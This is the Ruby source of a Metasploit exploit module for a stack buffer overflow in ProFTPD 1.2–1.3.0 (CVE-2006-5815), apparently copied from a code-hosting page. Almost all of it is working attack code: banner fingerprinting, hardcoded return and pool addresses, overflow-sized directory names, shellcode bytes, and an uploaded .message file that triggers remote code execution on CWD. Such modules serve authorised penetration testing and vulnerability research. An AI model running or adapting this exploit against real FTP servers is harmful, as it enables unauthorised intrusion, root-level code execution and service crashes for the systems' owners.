Path: blob/master/modules/exploits/linux/ftp/proftp_sreplace.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',15'Description' => %q{16This module exploits a stack-based buffer overflow in versions 1.2 through171.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function18within the "src/support.c" file.1920The off-by-one heap overflow bug in the ProFTPD sreplace function has been21discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit22this off-by-one bug via MKD command, but failed. We did not work on this bug23since then.2425Actually, there are exists at least two bugs in sreplace function, one is the26mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow27via 'sstrncpy(dst,src,negative argument)'.2829We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable30version, but the version 1.3.0rc3 introduced some interesting changes, among them:31321. another (integer) overflow in sreplace!332. now it is possible to reach sreplace stack-based buffer overflow bug via34the "pr_display_file" function!353. stupid '.message' file display bug3637So we decided to choose ProFTPD 1.3.0 as a target for our exploit.38To reach the bug, you need to upload a specially created .message file to a39writeable directory, then do "CWD <writeable directory>" to trigger the invocation40of sreplace function.4142Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'43file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.4445The exploit is a part of VulnDisco Pack since Dec 2005.46},47'Author' => [48'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)49'jduck' # Metasploit 3.x port50],51'References' => [52[ 'CVE', '2006-5815' ],53[ 'OSVDB', '68985' ],54[ 'BID', '20992' ],55[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/94' ],56[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/538' ],57[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],58[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]59],60'DefaultOptions' => {61'EXITFUNC' => 'process',62'PrependChrootBreak' => true63},64'Privileged' => true,65'Payload' => {66'Space' => 900,67'BadChars' => "\x00\x0a\x0d\x25",68'DisableNops' => true69},70'Platform' => [ 'linux' ],71'Targets' => [72#73# Automatic targeting via fingerprinting74#75[ 'Automatic Targeting', { 'auto' => true } ],7677#78# This special one comes first since we dont want its index changing.79#80[81'Debug',82{83'Ret' => 0x41414242,84'PoolAddr' => 0x4343454585}86],8788#89# specific targets90#9192[93'ProFTPD 1.3.0 (source install) / Debian 3.1',94{95# objdump -D proftpd|grep call|grep edx96'Ret' => 0x804afc8, # call edx97# nm proftpd|grep permanent_pool98'PoolAddr' => 0x80b59f899}100]101102],103'DefaultTarget' => 0,104'DisclosureDate' => '2006-11-26',105'Notes' => {106'Stability' => [CRASH_SERVICE_DOWN],107'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],108'Reliability' => [UNRELIABLE_SESSION]109}110)111)112113register_options(114[115OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])116]117)118end119120def check121# NOTE: We don't care if the login failed here...122connect123124# We just want the banner to check against our targets..125vprint_status("FTP Banner: #{banner.strip}")126127status = CheckCode::Safe128129if banner =~ /ProFTPD (1\.[23]\.[^ ])/i130ver = ::Regexp.last_match(1)131_maj, _min, rel = ver.split('.')132relv = rel.slice!(0, 1)133case relv134when '2'135status = CheckCode::Appears136137when '3'138# 1.3.x before 1.3.1 is vulnerable139status = CheckCode::Appears140if !rel.empty?141if rel.to_i > 0142status = CheckCode::Safe143else144status = CheckCode::Appears145end146end147end148end149150disconnect151return status152end153154def exploit155connect_login156157# Use a copy of the target158mytarget = target159160if target['auto']161mytarget = nil162163print_status('Automatically detecting the target...')164if (banner && (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i)))165print_status("FTP Banner: #{banner.strip}")166version = m[1]167else168fail_with(Failure::NoTarget, 'No matching target')169end170171regexp = Regexp.escape(version)172targets.each do |t|173if (t.name =~ /#{regexp}/)174mytarget = t175break176end177end178179if !mytarget180fail_with(Failure::NoTarget, 'No matching target')181end182183print_status("Selected Target: #{mytarget.name}")184else185print_status("Trying target #{mytarget.name}...")186if banner187print_status("FTP Banner: #{banner.strip}")188end189end190191# puts "attach and press any key"; bleh = $stdin.gets192send_cmd(['CWD', datastore['WRITABLE']])193194pwd = send_cmd(['PWD'])195if pwd !~ /257\s"(.+)"/196fail_with(Failure::Unknown, 'Unable to get current working directory')197end198pwd = ::Regexp.last_match(1)199pwd << '/' if pwd[-1, 1] != '/'200201dir1 = 'A' * (251 - pwd.length)202send_cmd(['MKD', dir1])203204send_cmd(['CWD', dir1])205206send_cmd(['PWD'])207208dir2 = 'B' * 64209dir2 << [mytarget.ret].pack('V')210dir2 << [mytarget['PoolAddr'] - 4].pack('V')211dir2 << "\xcc" * 28212213send_cmd(['DELE', "#{dir2}/.message"])214send_cmd(['DELE', '250'])215send_cmd(['RMD', dir2])216217filedata = ''218filedata << 'A'219filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret220filedata << "\x25C" * 11221filedata << 'A'222filedata << payload.encoded223filedata << rand_text_alphanumeric(900 - payload.encoded.length)224filedata << "\x25\x43\x41" * 10225226send_cmd(['MKD', dir2])227send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')228229# Trigger sreplace overflow230send_cmd(['CWD', dir2])231232handler233disconnect234end235end236237238